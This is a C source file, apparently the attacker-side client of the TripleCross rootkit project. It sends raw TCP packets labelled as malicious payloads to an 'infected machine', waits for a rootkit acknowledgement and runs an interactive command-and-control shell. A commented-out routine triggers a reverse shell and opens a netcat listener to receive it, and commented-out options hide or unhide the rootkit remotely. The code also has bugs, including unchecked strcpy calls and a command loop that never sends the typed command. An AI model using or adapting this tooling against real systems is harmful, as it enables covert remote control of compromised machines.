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TripleCross/src/client/client.c

285 lines
9.3 KiB
C
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#include "lib/RawTCP.h"
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include "../common/constants.h"
#include "../common/c&c.h"
// For printing with colors
#define KGRN "\x1B[32m"
#define KYLW "\x1B[33m"
#define KBLU "\x1B[34m"
#define KMGN "\x1B[35m"
#define KRED "\x1B[31m"
#define RESET "\x1B[0m"
void print_welcome_message(){
printf("*******************************************************\n");
printf("************************* TFG *************************\n");
printf("*******************************************************\n");
printf("************ https://github.com/h3xduck/TFG ***********\n");
printf("*******************************************************\n");
}
void print_help_dialog(const char* arg){
printf("\nUsage: %s OPTION victim_IP\n\n", arg);
printf("Program OPTIONs\n");
char* line = "-S IP";
char* desc = "Send a secret message to IP";
printf("\t%-40s %-50s\n\n", line, desc);
line = "-c IP";
desc = "Activate direct command & control shell with IP";
printf("\t%-40s %-50s\n\n", line, desc);
line = "-h";
desc = "Print this help";
printf("\t%-40s %-50s\n\n", line, desc);
}
void check_ip_address_format(char* address){
char* buf[256];
int s = inet_pton(AF_INET, address, buf);
if(s<0){
printf("["KYLW"WARN"RESET"]""Error checking IP validity\n");
}else if(s==0){
printf("["KYLW"WARN"RESET"]""The victim IP is probably not valid\n");
}
}
char* getLocalIpAddress(){
char hostbuffer[256];
char* IPbuffer = calloc(256, sizeof(char));
struct hostent *host_entry;
int hostname;
hostname = gethostname(hostbuffer, sizeof(hostbuffer));
if(hostname==-1){
perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostname");
exit(1);
}
host_entry = gethostbyname(hostbuffer);
if(host_entry == NULL){
perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostbyname");
exit(1);
}
// To convert an Internet network
// address into ASCII string
strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0])));
printf("["KBLU"INFO"RESET"]""Attacker IP selected: %s\n", IPbuffer);
return IPbuffer;
}
/*void get_shell(char* argv){
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
check_ip_address_format(argv);
packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_PAYLOAD_GET_REVERSE_SHELL");
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
pid_t pid;
pid = fork();
if(pid < 0){
perror("["KRED"ERROR"RESET"]""Could not create another process");
return;
}else if(pid==0){
sleep(1);
//Sending the malicious payload
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
}else{
printf("["KGRN"OK"RESET"]""Payload successfully sent!\n");
}
}else {
//Activating listener
char *cmd = "nc";
char *argv[4];
argv[0] = "nc";
argv[1] = "-lvp";
argv[2] = "5888";
argv[3] = NULL;
printf("["KBLU"INFO"RESET"]""Trying to get a shell...\n");
if(execvp(cmd, argv)<0){
perror("["KRED"ERROR"RESET"]""Error executing background listener");
return;
}
printf("["KGRN"OK"RESET"]""Got a shell\n");
}
free(local_ip);
}*/
void send_secret_packet(char* argv){
//TODO revise this, in wireshark it is seen not to be a TCP packet??????
//Should be working, it did in other projects
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
check_ip_address_format(argv);
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, SECRET_PACKET_PAYLOAD);
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
//Sending the malicious payload
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
}else{
printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
}
free(local_ip);
}
void activate_command_control_shell(char* argv){
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
check_ip_address_format(argv);
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, CC_PROT_SYN);
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
//Sending the malicious payload
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
return;
}else{
printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
}
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
//Wait for rootkit ACK to ensure it's up
rawsocket_sniff_pattern(CC_PROT_ACK);
printf("["KGRN"OK"RESET"]""Success!\n");
//Received ACK, we proceed to send command
while(1){
char buf[BUFSIZ];
printf(""KYLW"c>:"RESET"");
scanf("%s", buf);
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
return;
}
char msg[BUFSIZ];
strcpy(msg, CC_PROT_MSG);
strcat(msg, buf);
printf("Sending %s\n", msg);
packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG);
char* res = packet.payload;
printf(""KYLW"c>:"RESET" %s\n", res);
}
free(local_ip);
}
void main(int argc, char* argv[]){
if(argc<2){
printf("["KRED"ERROR"RESET"]""Invalid number of arguments\n");
print_help_dialog(argv[0]);
return;
}
int ENCRYPT_MODE_SEL = 0;
int DECRYPT_MODE_SEL = 0;
int PATH_ARG_PROVIDED = 0;
int PARAM_MODULE_ACTIVATED = 0;
int opt;
char dest_address[32];
char path_arg[512];
//Command line argument parsing
while ((opt = getopt(argc, argv, ":S:c:h")) != -1) {
switch (opt) {
case 'S':
print_welcome_message();
sleep(1);
//Send a secret message
printf("["KBLU"INFO"RESET"]""Activated SEND a SECRET mode\n");
//printf("Option S has argument %s\n", optarg);
strcpy(dest_address, optarg);
send_secret_packet(dest_address);
PARAM_MODULE_ACTIVATED = 1;
break;
case 'c':
print_welcome_message();
sleep(1);
//Send a secret message
printf("["KBLU"INFO"RESET"]""Activated COMMAND & CONTROL shell\n");
//printf("Option S has argument %s\n", optarg);
strcpy(dest_address, optarg);
activate_command_control_shell(dest_address);
PARAM_MODULE_ACTIVATED = 1;
break;
/*case 'u':
print_welcome_message();
sleep(1);
//Selecting show rootkit - Unhide mode
printf("["KBLU"INFO"RESET"]""Selected UNHIDE the rootkit remotely\n");
//printf("Option m has argument %s\n", optarg);
strcpy(dest_address, optarg);
show_rootkit(dest_address);
PARAM_MODULE_ACTIVATED = 1;
break;
case 'i':
print_welcome_message();
sleep(1);
//Selecting hide rootkit - Invisible mode
printf("["KBLU"INFO"RESET"]""Selected HIDE the rootkit remotely\n");
//printf("Option m has argument %s\n", optarg);
strcpy(dest_address, optarg);
hide_rootkit(dest_address);
PARAM_MODULE_ACTIVATED = 1;
case 'e':
ENCRYPT_MODE_SEL = 1;
strcpy(dest_address, optarg);
break;
case 'd':
DECRYPT_MODE_SEL = 1;
strcpy(dest_address, optarg);
break;
case 'p':
PATH_ARG_PROVIDED = 1;
strcpy(path_arg, optarg);
break;*/
case 'h':
print_help_dialog(argv[0]);
exit(0);
break;
case '?':
printf("["KRED"ERROR"RESET"]""Unknown option: %c\n", optopt);
break;
case ':':
printf("["KRED"ERROR"RESET"]""Missing arguments for %c\n", optopt);
exit(EXIT_FAILURE);
break;
default:
print_help_dialog(argv[0]);
exit(EXIT_FAILURE);
}
}
if(PARAM_MODULE_ACTIVATED==0){
printf("["KRED"ERROR"RESET"]""Invalid parameters\n");
print_help_dialog(argv[0]);
exit(EXIT_FAILURE);
}
}
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